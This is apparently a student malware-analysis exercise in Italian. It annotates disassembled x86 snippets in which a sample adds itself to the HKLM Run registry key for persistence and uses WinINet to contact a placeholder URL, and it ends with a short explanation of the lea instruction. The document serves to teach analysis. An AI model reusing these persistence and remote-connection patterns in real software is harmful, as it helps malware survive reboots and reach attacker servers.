

- 1) Persistenza del Malware:** Il malware cerca di ottenere persistenza nel sistema manipolando la chiave del Registro di sistema. Il segmento di codice coinvolto è il seguente:

```
push    2                ; samDesired
push    eax              ; ulOptions
push    offset Subkey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
push    HKEY_LOCAL_MACHINE ; hKey(dove sono contenuti i record e le configurazioni della
macchina)
call    esi              ; RegOpenKeyExW
```

Qui, il malware apre la chiave del Registro di sistema "Software\\Microsoft\\Windows\\CurrentVersion\\Run" con privilegi appropriati (samDesired), cercando così di inserire se stesso tra i programmi in esecuzione all'avvio del sistema.

- 2) Client Software per la Connessione a Internet:** Il malware utilizza la libreria WinINet di Windows per effettuare una connessione a Internet. Il segmento di codice coinvolto è il seguente:

```
push    0                ; dwFlags
push    0                ; lpszProxyBypass
push    0                ; lpszProxy
push    1                ; dwAccessType
push    offset szAgent    ; "Internet Explorer 8.0"
call    ds:InternetOpenA (funzione utilizzata per inizializzare una connessione verso
Internet)
```

Qui, il malware apre una connessione a Internet utilizzando InternetOpenA e specifica "Internet Explorer 8.0" come agente utente.

- 3) URL di Connessione del Malware:** L'URL al quale il malware tenta di connettersi è evidenziato nel seguente segmento di codice:

```
3. push    0                ; dwContent
4. push    80000000h        ; dwFlags
5. push    0                ; dwHeadersLength
6. push    0                ; lpszHeaders
7. push    offset szUrl     ; "http://www.malware12com"
8. push    esi              ; hInternet
9. call    edi              ; InternetOpenUrlA (utilizzata invece per la connessione
ad un determinato URL)
```

10. Qui, il malware tenta di connettersi all'URL "<http://www.malware12com>" utilizzando InternetOpenUrlA. Questo segmento indica una possibile attività di download o comunicazione con un server remoto.

(BONUS) Significato e funzionamento di lea:

L'istruzione lea (load effective address x86/x86-64) viene utilizzata per inserire un indirizzo di memoria nella destinazione.

Calcola e carica l'indirizzo effettivo di un operando nella destinazione specificata, senza accedere direttamente alla memoria. È spesso utilizzata per eseguire operazioni di calcolo degli indirizzi senza leggere o scrivere dati.

La sintassi generale dell'istruzione `lea` è la seguente:

```
lea destination, source
```

Esempio:

```
lea ecx, [esp+424h+Data]
```

Questa istruzione carica l'indirizzo effettivo della variabile o dell'area di memoria indicata da `[esp+424h+Data]` nel registro `ecx`. Non carica i dati stessi, ma solo l'indirizzo.